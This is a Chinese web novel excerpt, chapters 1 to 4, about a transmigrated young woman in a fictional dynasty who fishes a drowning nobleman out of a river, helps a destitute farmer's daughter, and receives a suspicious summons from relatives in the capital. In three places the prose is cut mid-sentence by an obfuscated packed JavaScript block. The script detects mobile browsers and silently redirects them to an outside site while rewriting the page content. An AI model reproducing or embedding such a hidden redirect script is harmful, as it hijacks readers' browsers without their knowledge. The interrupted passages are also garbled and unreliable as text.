《钓上一个假夫君》 1. 钓鱼 惠风和畅,春意融融,正是江南踏春好时节。 城郊桃林成片地开了花,彻底驱散了冬日留下的最后一丝寒意。 闷了一冬的杭州百姓换上轻便新衣,各自呼朋唤友、游园赏花。亦有高门富户轮流举宴,曲水流觞、饮酒赋诗,好不热闹。 姜同云避开如织游人,在山脚找了一处安静的平坦河岸,支起矮脚椅子开始做准备工作。 甩竿探底定好位置,束起袖子的姜同云麻利地团好特制饵料,抛入水中。 同行的丫鬟木樨早就习惯自家姑娘这个与众不同的爱好,这会正帮着姜同云取出另外两种饵料:“我给姑娘和起来吧。” 姜同云连忙制止:“等会等会!你先别忙活。我今日要试试新的钓法,这饵料晚些再用。” 说罢,姜同云从木质钓箱里取了一枚长直的绣花针绑在鱼线上。她也不挂鱼饵,抬手一甩便将这枚直钩挥入水中。 木樨见状,忍不住笑出了声:“姑娘今日是要效仿姜太公,只钓那自愿上钩的鱼儿吗?” 姜同云也不恼,笑着答道:“我也姓姜。武成王在天有灵,兴许会保佑我钓上一条大鱼来呢。” 木樨忍着笑走到一旁:“那便希望他老人家赶紧显灵吧。姑娘今儿个出门前可是答应了老爷子,要带活鱼回去给他下酒的。” 毫无压力的姜同云将竹制钓车*架好,靠在不高的椅背上开始欣赏周围风景。 尽管穿到这里已经快十八年了,但她依旧没有看腻这些秀美的自然风光。 和煦的春风、温暖的日光,还有波光粼粼的清澈河面以及远处浓翠欲滴的层叠山峦,这一切都与忙于生存的城市居民相距甚远。 过去的社畜姜同云从未想过,自己猝死之后不仅能重获新生,还可以享受这样清新秀丽的景色。 这是个不曾出现在姜同云记忆里的朝代,国号为越。 这里的商品经济已经相当发达,城内店铺品类繁多,货物琳琅满目。夜间虽有宵禁,但管束相对宽松。 更重要的是,这里对女子的拘束不多。像姜同云这样喜欢跑出来玩的女郎比比皆是,颇有一点初唐女子肆意张扬的风范。 除了日常起居出行不够便利以外,这里的生活简直处处都让姜同云感到满意! 哦,还有一样不行。 姜同云呼出系统面板,看着98%的进度条,无奈长叹。 是的,她身上绑定了一个系统,一个古怪的钓鱼系统。 说系统可能不够精确,实际上它更接近于一本钓鱼成就图鉴。 虽然页面有所区别,但这个系统基本上借鉴了姜同云穿越前常玩的一款休闲手游里的钓鱼玩法,主要内容就是钓鱼-解锁成就-获得奖励。 姜同云穿来后,它一直没有主动发出过声音,更没有发布过任务。所以之前姜同云根本都不知道自己身上还带着这么一个东西。 直到她十二岁那年被外祖父带着赴宴,席间主家组织比赛,众人临湖垂钓。就在姜同云钓上一尾锦鲤时,耳边突然响起了系统清脆的提示音,恭喜她解锁了第一个钓鱼成就。 之后姜同云又自己摸索了一段时间,才将这个哑巴系统的功能逐步理清。 跟小说里那些功能齐全统子前辈们比起来,姜同云的这个系统简直就是个未成年宝宝。它不仅不会发布任务,也不会给宿主提供实质性的奖励。姜同云这些年勤勤恳恳地做成就,就只获得了一些钓鱼方面的加成。 不过对于全图鉴收集狂魔姜同云来讲,奖励不奖励的不算重要,最重要的是怎么把成就进度条拉满! 在努力了快六年后,这个钓鱼图鉴只剩下最后五个未被点亮的成就啦! 姜同云今天要做的,就是剩下五个稀奇古怪的成就里,唯一一个能让她摸到头脑的。 成就名,“姜太公”。 因为没有具体描述,姜同云只能靠猜测和反复实验来完成成就。她推测完成这个成就需要效法姜太公,用无饵直钩钓上鱼来。 从科学的角度讲,这个难度非常大。 但拿了金手指的她不用讲科学! 在成就奖励的加成下,姜同云垂钓时自带诱鱼BUFF,鱼儿咬钩概率高达80%!配合特制饵料打窝后,姜同云根本就不担心这些没有受过现代科技荼毒的傻鱼不上当。 至于能不能把鱼拉上岸,那就要看她的技术和运气了。 关掉系统面板,姜同云看向静静奔流的河面。 春风送来了远处游人的嬉闹声。这阵穿过新开桃林的微风里夹着淡淡的花香,轻柔地裹住河岸边的两人。 木樨已经找了块石头坐下,编着她来时随手摘下的柳枝。 姜同云在这宁静祥和的氛围里逐渐阖上双眼。 这种天气,也太适合睡觉了吧…… 就在睡意彻底裹挟姜同云之前,一直没有动静的钓车猛烈地晃动起来! 姜同云瞬间惊醒,一把握住快被拖走的鱼竿。 她今天就带了这么一把,可千万不能被鱼抢了啊! 握把甫一入手,姜同云便觉手中一沉,一股巨大的力量扯着她往前扑了一下。要不是钓鱼经验丰富,只怕她刚刚会被直接拉进水里去! 这得是多大的鱼啊! 姜同云连忙喊人:“木樨!快来搭把手,这鱼力气好大!” 木樨也注意到了这边的动静。姜同云一叫,她便立刻丢下手里编到一半的柳条,快步冲来,一把抱住了姜同云的腰。 有了木樨帮助,姜同云总算稳住了手里的钓车。 抱着自家姑娘的木樨废了好些力气才扎稳下盘:“姑娘这是钓了条什么鱼啊,别是挂到河底了!” 前世是个赛博钓鱼爱好者的姜同云自然看过很多有关钓鱼佬的传说,钓地球也算是他们的一个经典节目。 但别说现在钓住的这条鱼正在游动,光是系统叠加的这么多钓鱼BUFF,都不可能让这种错误发生在她身上! 于是姜同云斩钉截铁地说道:“肯定是鱼!咱们再加把劲,今晚让王娘子做全鱼宴!” 两个十七八岁的少女就这样扎在河岸边且拉且退,跟河里倔强的大鱼打耐力赛。 不知溜了多久,那条鱼的力气才渐渐小了下来。 姜同云抓紧机会开始收竿。 随着鱼线不断收短,那条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426637|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大鱼也逐渐浮出水面。 看着被拉到浅水区域的“鱼”,姜同云心里一沉。 那根本不是鱼,分明是个人! 眼见那人一动不动地被鱼线拉着拖到河岸边上,姜同云脑袋里控制不住地回忆起前世看过的都市传说。 还都是钓鱼佬特辑。 站在姜同云身后的木樨还没看见钓上来的人。不敢松手的她只能焦急地询问:“姑娘看见了没,是个什么鱼啊?究竟多大?” 木樨的声音及时把姜同云从恐怖回忆里拉了出来。 她一把将钓车塞入木樨手里:“你拿稳了,我过去把他拉上来!” 这鱼这么大的吗?还得姑娘过去动手拉? 摸不着头脑的木樨连忙握紧手里的鱼竿,等站稳了身子才有空抬头去看河岸。 这一看把她吓得够呛! 什么鱼!那明明就是个人! 看着已经伸手拉人的姜同云,木樨差点尖叫出来:“姑娘!那……那是个……” 那怕不是个死人! 这头的姜同云已经把人拉上了岸。 这是个身形高大的男人,穿着一身没有纹饰但质料很好的深蓝色锦袍。 姜同云费力将人翻了个面,在看清对方相貌后不由一愣。 这是个长得相当俊秀清朗的男人。即使此刻发髻散乱、双目紧闭,也能看出他眉目疏朗、神清骨秀,如松风水月,金相玉质。 她心里不由地闪过一个念头:还好刚刚那段拖行没毁了这张脸。 回过神来的姜同云先伸手去探鼻息,后又附身细听心跳。 这人鼻息已微不可查,但好在心脏还在努力跳动。 有的救! 姜同云连忙按照前世学过的cpr流程,开始对他进行急救。 隔了这么多年,姜同云对这套急救手法虽不至于忘得一干二净,但也早已生疏。 她手忙脚乱地对着那人胸口按了两下,忽然想起救溺水者好像要先清理口鼻异物,于是又赶紧掰开对方口鼻检查。 等木樨丢了钓车跑过来,看见的就是根本不知道在忙些什么的姜同云:“姑娘,你这是……” 自家姑娘别是被死人吓傻了吧。 检查过口鼻的姜同云又开始按压胸口,根本没空去看木樨:“还活着呢。你赶紧去找四娘,让她想办法把车驾到这里来。” 四娘姓柳,是外祖父特意为姜同云请的女护卫。平日姜同云外出都是由她驾车。 为了保护姜同云,柳四娘一般不会离得太远。 木樨连忙跑去找人。 姜同云用力按了三十来下,正在犹豫要不要进行后续的人工呼吸步骤,就见躺在地上的男人猛地咳了两声,吐出一口河水口后开始艰难地呼吸。 姜同云如释重负,连忙伸手帮他抬起脑袋:“慢慢地,先吸气再吐出来……” 男人喘了好一会,才在姜同云的安抚下慢慢调整好呼吸频率。 他虚弱地抬眼看向扶着自己的姜同云。 见他嘴唇翕动似要说话,姜同云便打算询问他的身份。可还没等她开口,刚苏醒过来的男人两眼一翻,又晕了过去。 2. 救治 马车在杭州城最大的医馆成安堂门前停下。 柳四娘一下车,立刻就有相熟的伙计上前问好:“柳娘子今日怎么过来了?” 柳四娘没来得及回答,木樨便风风火火地从马车里钻了出来。她一面伸手扶姜同云下车,一面对伙计道:“车上有病人,你再去叫两个人一起来抬。” 伙计依言转身,跑回医馆里寻人。不多时,他就带了两个年轻力壮的同伴和一位中年大夫一起出来了。 三个伙计一起上车抬人,姜同云对大夫简述情况: “……大概是溺水了。人还有气,救上来的时候醒过一回,但很快就晕过去了。” 大夫细细记了:“好,情况我都记下了。姜姑娘是想把人留在我们成安堂医治吗?” 姜同云点头:“毕竟是生人,还是留在医馆适宜。” 说着,她示意木樨取钱:“我今日没带太多银钱,这里只有五两散碎银子。若是不够,您就先把诊疗费用挂在我家账上,等过两日我来取药的时候一并结清。” 大夫接过银子:“好说。既然是姜姑娘送来的人,我们一定会尽力医治的。” 交代完情况,又看着伙计把人抬进医馆,姜同云这才放下心来,辞别大夫后回到马车上。 今日是无心继续钓鱼了,姜同云便让柳四娘驱车回家。 因为城郊桃花盛开,城里的多数居民都去郊外踏青赏花了,平日里热闹的街市一时之间竟也有些冷清。 不过这倒也方便了坐车的人。少有行人走动妨碍,柳四娘很快就赶着车回到了许宅。 姜同云的外祖许家在杭州城里有一套三进带跨院的宅子。 当然,这套房子可不是姜同云那位当了一辈子清贫山长的外祖父买下的。 外祖父许敬铭年轻时考上了举人,但之后并未继续科考,也没有进入官场,反而选择留在杭州当一名教书先生。他生性豁达乐善好施,时常出钱接济贫寒学子。要不是娶了一位颇擅经营的妻子,许家恐怕早就家徒四壁了。 与不通俗务的丈夫不同,姜同云的外祖母是一位相当聪颖机变的女子。和许敬铭成亲后,她便接手了许家祖传的书画铺子,很快就将这家原本只能勉强盈利的小铺子经营地有声有色。之后更是攒下本钱,开始接触粮米、布料这类生意。 在外祖母的努力下,许家虽不能跻身豪富之列,但也生活富足。 这套宅子,就是在外祖母在姜同云母亲幼年时,从一名急需资金周转的商人手里买下的。之后许家人就在这里生活了三十多年。 马车进入东侧门后,在通往前院的垂花门前停下。柳四娘还要去放马停车,姜同云便带着木樨先往自己的住处走。 绕过前院的小花园,主仆二人正准备避开正堂,从东侧八角门处走到后罩房,却不想迎面就撞上了出来侍弄花草的许敬铭。 老爷子看见外孙女回来,半是惊讶半是欢喜:“今儿个怎么这么早就回来了?” 姜同云见了礼,悄悄把手背到身后,不想让外祖父看见被打湿的袖子:“今日郊外都是游人,我走了一圈都没找到合适的地方,就先回来了。” 老爷子当了这么多年先生,教过的学生形形色色。姜同云这么一点小动作哪里瞒的过他的眼睛。 他上前两步,清明的双目对着心虚的外孙女一扫,立刻就看出了问题:“你的衣摆怎么湿了?把手伸出来也让我瞧瞧。” 姜同云无奈地伸出双手,打湿的衣袖自然也暴露在了外祖父面前。 “你这是掉水里了?怎么弄成这样?”许敬铭又惊又急,“有没有受伤啊?” “您放心,我没掉水里,也没有受伤。我就是从河里拉了个人上来,衣裳是救人的时候不小心沾了水的。”姜同云连忙解释安抚。 许敬铭扭头去看木樨,后者赶紧点头证明。 老爷子见状,挥手道:“这里风大,别站着了。快些回去换身衣裳,免得着凉。” 姜同云便行了个礼,带着木樨先回房了。 见外孙女走远,老爷子又回身吩咐自己身边的小厮:“你去后厨找王娘子,让她赶紧煮碗姜汤给姑娘送过去。” 这边,姜同云带着木樨穿过后罩房,进了主院西北角的小楼里。 这处小楼原是她母亲的住处。 许敬铭夫妻俩十分疼爱这个女儿。在她到了年纪需要搬出正堂独住的时候,夫妻二人不愿让女儿住在狭小的后罩房里,便拆了两处院落之间的隔墙并两间屋子,挪了足够的空间为她新建了一座三层高的小楼。 小楼西面朝着许家跨院,风景很是不错。 姜同云的母亲死后,这座小楼便被封存了起来。直到姜同云被接到杭州生活,外祖父和外祖母才命人将此处重新修整打扫,以供外孙女居住。 不过为了纪念早逝的母亲,姜同云并没有住进二楼的卧室,而是修改了原本作为观景用的三楼用以居住。二的楼房间里,如今存放着姜同云从金陵带回来的双亲的遗物。 回到房里,姜同云连忙走到屏风后面,脱去外衫。 现在才是初春,即使南方气候偏暖,被打湿的衣服穿在身上也实在让人禁受不住。 在河边的时候,一心救人的姜同云还没有太大感觉。可刚才站在院子里,被穿堂风那么一吹,阴冷寒意就爬了上来。 木樨从衣柜里取了另一套衣裳,送到屏风旁的矮柜上:“姑娘要换里面的衣裳吗?” 姜同云摸了摸中衣袖子,只是有些凉意,约莫是被外衫浸染的:“不用了,等会我捧个手炉熏一熏就好。” 木樨向来不是啰嗦的性子。姜同云这么说,她也不再多劝,干脆地应了一声,便去准备手炉了。 还好才暖起来不久,先前用过的手炉还没被收起来。 换过衣服,捧着手炉的姜同云又被灌了一碗辛辣热乎的姜汤,这才觉得彻底放松下来。 打开系统,看看没被完成的“姜太公”成就,姜同云叹了口气:虽然钓上来的是个活人,但最近是真没心思钓鱼了。这个成就还是过段时间再做吧。 这会儿还是先去找外祖父,好好地再跟他老人家解释一遍。 前院里,送走姜同云后,许敬铭也懒得再管院子里的花花草草,径直回到书房打算看书。 翻了两页,实在定不下心的老爷子又把书丢到一旁: 说是从河里拉了个人上来,还不知道具体是个什么情况。也不知道云丫头有没有被吓到。 正担心着,小厮来报说姑娘过来了。 许敬铭连忙让人进屋。 等看过姜同云,确认自家小姑娘面色红润,不像是受到惊吓的样子,许敬铭才稍稍放下心来,让姜同云好好讲讲今日究竟发生了什么。 姜同云隐去自己想要直钩钓鱼的部分,简单讲了一遍事情始末:“……之后我就把他送去了成安堂医治。” 许敬铭点了点头:“你做得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426638|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很好。可有给医馆留钱?那人掉进水里,身上可能没有财物了。” “留了。”姜同云点头道,“我还跟医馆说了,如果留的钱不够,就先记在咱们家账上,之后一并结清。” 许敬铭满意地摸了摸胡子:“还是你想得周到。” 想了想,他又叮嘱了一句:“你过两日去取药的时候再问问他的情况。如果他还留在医馆没走,可能是遇到了什么麻烦,联系不上家里人了。咱们要是帮得上忙,就再多帮他一把。” 早就习惯外祖父性情的姜同云毫不意外,爽利地应了下来。 ***** 与此同时,成安堂内。 谢怀雵猛然惊醒。 负责照料他的伙计正好端了药来,见他苏醒很是惊喜:“公子醒了?这药刚熬好,您正好趁热喝了。” 谢怀雵不知现在是个什么情况,心中满是疑虑,面上却不动声色:“我这是在哪儿?” 伙计不知他心中生疑,满是自豪地回答道:“这儿是成安堂。我们成安堂可是杭州城最好的医馆,保管您药到病除!” 谢怀雵落水前就在杭州近郊一处山上。听到伙计这么说,他对面前之人少了几分怀疑,但还是装着不太舒服的样子问道:“那我是怎么到这儿来的。” 伙计也不隐瞒:“是姜姑娘从河里把您救了上来,之后又送您到我们这儿医治。姜姑娘还留了银子,公子就安心在这儿养着吧。” 谢怀雵眼前浮现起先前短暂清醒时的惊鸿一瞥:“听小哥话里的意思,似乎与这位姜姑娘相熟?” “也不算相熟,只是姜姑娘常来替她外祖父取药,才多见了几回。”伙计颇有些不好意思地笑了笑,“姜姑娘为人和善,与她外祖父许山长一样,都是顶好的人。” “许山长?可是许敬铭许老先生?” “正是。公子也认识许山长?” 谢怀雵摇头道:“认识倒算不上,但谁能没听说过他老人家呢。许老先生桃李满天下,又有一双极其出色的儿女,是我极其敬仰之人。” 谢怀雵这话几乎是说到了伙计心坎里。伙计长叹一声,将手中药碗放到一旁,拖了张矮凳坐下:“谁不敬佩许家人呢。可惜老爷子只有这么一儿一女,还全都早早为国捐躯。四年前,许老夫人也亡故了。如今他身边就只有姜姑娘这个外孙女常伴膝下。” 谢怀雵已经在心里对上了人:“可据我所知,这位姜姑娘应该是先义阳侯的孙女。作为侯府千金,姜姑娘为何会长居杭州呢?” 这一问,把伙计的话匣子彻底打开。 他义愤填膺地说道:“侯府又如何?姜姑娘父母早亡,现在侯府当家的是她的叔婶。他们从姜大人和许夫人手里接来了义阳侯的位子,却丝毫不肯善待兄嫂遗孤!可怜他们夫妻俩战死沙场,唯一的女儿还要受寄人篱下之苦!” 谢怀雵看他这愤懑不平的样子,半是好奇半是好笑。他拿起药碗闻过味道,轻抿一口:“你是如何得知,姜姑娘在侯府过得不好的?” 伙计一拍大腿:“要是过得好,许山长又何至于亲自跑去金陵接回外孙女啊!” 要不是现任义阳侯夫妻俩做得太过分,许老爷子怎么会做出这种不顾侯府脸面的事情! 谢怀雵点了点头:“你这话也在理。” 他仰头将碗内药汁一口饮尽,又把空碗塞入还想再说些什么的伙计手里:“小哥能否替我寻些纸笔?我想给家人寄一封信。” 3. 丰年 两日后。 姜同云在成安堂门口下了马车,对迎来的伙计问道:“我来取药,张大夫这会儿可在?” “在的在的。”来招呼的恰好是前两日那个伙计。他热情地把姜同云迎入医馆内:“您的药都已经包好了。” 家里老爷子上了年纪,总有些小病小痛。所以这两年来,姜同云隔几日就要到成安堂取外祖父定期服用的滋补药剂。 来得多了,她对成安堂自然也熟门熟路。等查看过药包、签字付钱后,她又和长期给许敬铭看诊的张大夫商量了时间,约好过几日上门替老爷子扶脉调方子。 办完这些事,姜同云想起那天自己送来的溺水者,便又问了一句。 伙计一拍大腿:“您送来的那位公子啊,他昨天就被家里人接走啦。” 姜同云有些讶异:“走了?他身体已经无恙了?” 说起这位公子,伙计也是满脑袋疑问:“这可难说。听大夫们说,他脉象虚弱,恐寿数不长。可落了水以后却好得极快,也没患上风寒之类的病症,跟那些身子骨不好的病患一点也不一样。” 听到这里,姜同云也被勾起了好奇心:“是不是诊错脉象了?” “应该不是。医馆里的几位老大夫都轮流去给那位公子诊过脉,总不能他们全都诊错了吧。” 说着,伙计已经将她引到柜台:“那位公子把自己的诊费都付清了,走前还特意叮嘱,让我们把姜姑娘垫付的银子还给您。” 姜同云回忆起当日救起那人时,对方那身质地讲究的衣料。又想到方才伙计说他是被家里人接走的,便觉不必再为那人忧心,于是示意同行的木樨拿回银子。 五两的散碎银子被装在一只素色布包里,木樨接过来简单扫了一眼,把布包收入袖中。 离开成安堂后,见时辰还早,姜同云便让柳四娘驾车往东市去。 老爷子今日中午出门赴宴去了,她不用特意赶回去吃饭,就打算去自家铺子里看一看。 因老爷子实在不通俗务,所以许老太太去世前就将家中几间店铺全数托付给了外孙女打理。按照老太太的意思,这些铺子都是给姜同云预备的嫁妆。至于许敬铭,姜同云管他衣食住行即可,不用多留银钱给他,省得全叫他散出去了。 老爷子对妻子的决定也非常赞成,于是这些店铺就全都归了姜同云所有。 柳四娘驾着车,很快就到了东市的粮米铺子前。 见是姜同云来,掌柜的连忙将她迎进后头雅间。 负责米铺生意的掌柜已经在许家铺子里做了二十多年,对粮米这行的生意非常熟悉。 姜同云翻看过账本,又问了几个问题,掌柜的一一作答。 “去岁年景好,江南一带的农田都是大丰收。加上边疆安定未起战乱,今年的粮价较之以往更低一些。” 闻言,姜同云提醒道:“我记得咱家铺子有规矩的,遇上丰年也不能过分压价。” 这是许老爷子提出来的,为了防止谷贱伤农。 掌柜的点头道:“姑娘放心,这我都记得。去岁至今,我们收粮的价格都是比同行高上半成左右的。” 姜同云合上账本,正准备起身辞别,忽然听见门外传来了问话声。 “这位小哥,我打听一下,这儿的牙行怎么走。” 站在门口的伙计也挺热心:“大哥这是想去找份工做?去牙行人口混杂,您怎么还牵着这么小的闺女一块去呢。” 男人苦笑起来:“不是我要找工,我是想给我这女儿找个去处。” 听到这里,姜同云转头看向掌柜的。后者会意,立刻起身往前面去了。 姜同云示意木樨撩起遮蔽的珠帘,凑到门口向外看去。 掌柜的一出雅间,就径直迎向门口的男人。 男人看见掌柜的出来,猜到他是这家铺子的管事之人,局促地往后退了退:“我不打扰您做生意……” 掌柜的连忙叫住他,笑着说道:“这位兄弟误会了。” 他垂头看向被男人牵着的瘦弱小姑娘,立刻联想起家中幼女,语气便又软了几分:“这牙行的学问可多了。赶巧这会儿没有客人,你不如进来坐会,我同你仔细说说。” 见男人有所意动,掌柜的又添了一句:“你瞧你闺女,嘴唇都裂开了。进来喝杯水歇会儿也好。” 男人看了眼缩在自己身后的闺女,最后还是点了头,缩手缩脚地跟着掌柜的进了铺子。 掌柜的安排这对父女在屏风后的小隔间坐下,又叫伙计上了茶水点心。 这处小隔间看不到里头的雅间,但从姜同云的位置看出去,小隔间那里几乎算是一览无余。于是她便让木樨放下珠帘,以免男人注意到里面还有人在。 掌柜的给男人和小姑娘倒了茶水:“兄弟是从哪来的?” 男人回答道:“我是从西边的杏林村来的。” 掌柜的想了一会,才勉强想起是有这么一个地方:“我记得杏林村挺远的。你们是坐车来的?” 男人强笑道:“是挺远的,我没到寅时就带着闺女出来了。出村的时候坐了同村人的牛车,后来不同路了,就只能靠双脚走。” “既然这么远,为什么非要到杭州来呢?附近镇上应该也有牙行的。况且你家姑娘还这么小,你怎么就想着要给她找活做呢。” 男人长叹一声:“我也是没法了。家里出了事,我这个当爹的没用,她再跟着我只怕都要饿死了。我听村里人说,杭州城里的富户对丫鬟们都很大方,管吃管穿管住,还给发工钱。要是运气好被选去伺候小姐,往后就能过上好日子。所以我才想……” 掌柜的颇感讶异:“我记得杏林村里农田不少。去岁大丰,怎么都不至于养不起一个孩子吧。” 听到这话,男人似是难以承受,双手掩面。 过了好久,他才放下手来,满布皱纹的眼角还带着一丝未干的水痕:“我原先也是农户,家里略有几亩田地。去年,孩子她娘怀了身孕,我原本是让她在家好好休养的。谁知道去年收成那么好……我父母去得早,村里也没有个能搭把手的亲戚,我一个人干了两天两夜都没收完稻子。孩子她娘心疼我,也怕赶不上下一轮播种,就拖着四个月的身子一起下了地。” 说到这里,男人抑制不住地哽咽起来:“收完稻她就累病了。我带着她看过大夫抓过药,甚至还请了神婆来看。为了替她治病,我什么法子都使了,家里攒的银钱花光了,我又去找人借,后来连家里的地都卖完了。可是老天不长眼,她,还有我们那个没出世的孩子,都没了。” 刚一说完,男人便克制不住,掩面而泣。坐在一旁的小姑娘也跟着流起眼泪来。 掌柜的面露不忍。他找不到话安慰对方,只能伸手去拍男人的肩膀。 雅间里,一向冷静持重的柳四娘都已满脸同情,坐在她旁边的木樨更是已经拿起手绢擦拭眼角了。 姜同云长叹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426639|153744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了口气。 原以为遇到丰年,靠天吃饭的普通百姓就能少受许多饥苦。谁知这样好的收成,居然会让这个男人家破人亡。 男人哭了好一会才渐渐止住,对着掌柜道:“前些天,我把去年收的粮食卖掉,勉强补上了窟窿。家里现在就剩两间破屋,半罐粮米。我一个男人,没了田地,去卖卖苦力也能过活,但我这个女儿……我不能让她跟着我吃苦啊。” 掌柜的再次拍了拍他的肩膀:“你们一路走过来,想必没吃过东西。我再去给你们拿点吃的。” 说罢,他便起身朝内室走去。 一进雅间,掌柜的就看向姜同云,面露祈求之色,低声道:“姑娘。” 姜同云点了点头:“那个小姑娘看着多大?” 掌柜的叹道:“那孩子又瘦又小的,看上去还不到四岁。” 不到四岁。 实在是太小了,没有几家愿意要这么小的孩子,除非是卖断做签死契的奴婢。 姜同云思索片刻:“你去问问他,愿不愿意把女儿送去布庄做学徒。管吃管穿管住,还教一门织布的手艺。” 掌柜的知道自己姑娘名下还有一间规模不小的布庄,去那里上工的全是些年轻姑娘。为了方便周边村镇的女工,布庄里是提供食宿,且有几名管事长住的。 他立时面露喜色:“好。” 姜同云拦下转身欲走的掌柜,补充道:“但是这小姑娘实在太小了。我们布庄招人,至少要满十二岁。在她到年纪前,只能跟着做学徒,而且没有工钱。到了年纪后,还得为布庄做三年工。要是他想提前接回女儿,就得按布庄织工学徒的工钱补上差额。” 掌柜的连连点头:“好,我这就去同他说。” 他大步流星地出了门,找到还在落泪的男人,向他转达姜同云的意思。 男人听完立刻站了起来:“愿意愿意,自然是愿意的!” 虽然做学徒也很辛苦,还没有工钱,但是至少女儿不用被卖去为奴为婢,还能实打实地学一门手艺。 而且他现在最大的问题是找不到人照顾女儿。有布庄帮忙照看,他就能安心地去寻一份工做,将来攒够银钱,还能提前把女儿接回家来! 掌柜的得到回复,自然也很是高兴,又连忙走回雅间传话。 早就听到的姜同云在刚刚写完的信笺上盖下自己的印信:“你派个人带他们父女去布庄吧。将这封信交给布庄管事胡娘子,她会安排好这个小姑娘的。” 姜同云将信纸递给掌柜,又道:“木樨,你取一两银子,让掌柜的一并交给他们。” 等掌柜的送走千恩万谢的父女俩,姜同云才带着木樨和柳四娘回到马车上。 木樨抓着姜同云的衣袖,兴高采烈地夸自家姑娘菩萨心肠。姜同云却望着马车顶棚,深深地叹了口气。 “姑娘做了好事,怎么还要叹气呢?” 姜同云摇了摇头。 她也曾在灾年跟着外祖母一起给受灾百姓施粥救济,但这是她第一次知道,即便是在丰年,普通百姓都有可能因为一场意外家破人亡。 那么在她不知道的地方,究竟还有多少人活在日夜摧折之中? 想到这里,她叹息道:“我今日遇到了他们父女,自然尽我所能帮衬一二。可还有很多正在受苦的人,是我根本就看不到的。” 她的力量实在太过渺小,太过微不足道。 姜同云无力地抱起胳膊。 4. 婚约 虽然被粮米铺子发生的事情影响了心情,但姜同云还是强打精神,将同样位于东市的另外两间铺子看了一遍。 在东市酒楼里用过午饭后,三人才坐车返回许宅。 马车照例停在垂花门前。 姜同云刚一下马,就瞥见车棚里已然停放着一架已经卸掉马匹的圆顶车。 许家一共只有两架车,这架宽敞些的圆顶车是给许敬铭用的。老爷子今早就是坐着它去赴宴的。 姜同云记得外祖父今日是去赴老友的约,按说应当尽兴方归。这会儿时辰还早,老爷子怎么就回来了? 她叫来正在喂马的马夫询问:“外祖父已经回家了?” 马夫点头道:“刚回来不久呢。” “可是今日宴上出了什么事?” 马夫挠了挠头:“这小的就不清楚了。不过今日宴会散得早,各位老先生们都是一道出来的。” 居然是散宴了。这就更奇怪了。 姜同云谢过马夫,带着木樨进了前院。 可巧看见今日陪同许敬铭一起出门的小厮苍官正端着茶水往书房去,姜同云连忙叫住他。 苍官见是姜同云也很高兴,端着托盘快步走了过来:“姑娘回来啦!” 姜同云问道:“今日怎么散得这么早?” 苍官眉毛一耷:“方才到快开宴的时候,严宅突然派人来通知,说严老先生昨夜旧疾复发。严宅上下忙了一宿,老先生才稍见好转,却是无法起身赴宴了。” “各家的老先生们听到这个消息,自然也没了饮酒作诗的兴致。所以大家用完饭就早早地散了。” 姜同云也认得那位严老先生。他与外祖父交情匪浅,两人少时曾同窗求学。后来外祖父放弃做官回乡教书,严老先生却是考中进士,得授官身。因秉性刚直不善逢迎,严老先生宦海浮沉十余载,一直都在地方上打转。十年前,他称病辞官,返归故里,到书院里和昔日同窗一起,当起了一位寻常山长。 多年老友突发旧疾,外祖父心里肯定也很不好过。 想到这里,姜同云便对苍官道:“外祖父现在是在书房里?我去给他送茶吧。” 苍官就盼着让姑娘去安慰安慰老爷子呢,听到这话,连忙把手中托盘递给木樨:“那就麻烦姑娘了!” 说着,他又想起一件事来,赶紧补充道:“今早老爷子和姑娘出门后,门房收到了一封从金陵寄过来的信件。老爷子这会儿应该是在读信呢。” 姜同云的眉头立刻皱了起来:从金陵寄来的? 大越国都就在金陵。 老爷子在金陵有不少学生故旧,却也有门不太讨人喜欢的亲戚。 希望这封信上不是什么让人不快的消息。 想到这里,姜同云叫上木樨,快步朝书房走去。 书房里,许敬铭支着头揉按眉心。 直到外孙女端着茶进来,他才放下手来,勉强露出一个笑容:“怎么不在外面多玩一会?” 姜同云将茶壶放在一旁高几上,斟了一杯茶端到书案前:“明日我陪着您一道去看望严老先生吧。” 许敬铭接过茶盏,叹了口气:“我都问过了,严老头只是犯了些老毛病,需要静养,还是过阵子再去吧。” 姜同云看着依旧愁眉不展的外祖父,直截了当地问道:“那您又是因何如此烦闷?” 许敬铭沉默片刻,拿起桌上信纸递给了过去:“这是义阳侯寄来的。” 姜同云心里咯噔了一下。 她接过信纸,快速读了起来。 信上内容不多,除去一些礼节性的问候,就只说了一件事: 姜府老夫人病重,希望姜同云这个大孙女能回去陪陪她。 看完信件,姜同云嗤笑一声:“您相信老太太病了?” 许敬铭摇了摇头:“不信。” 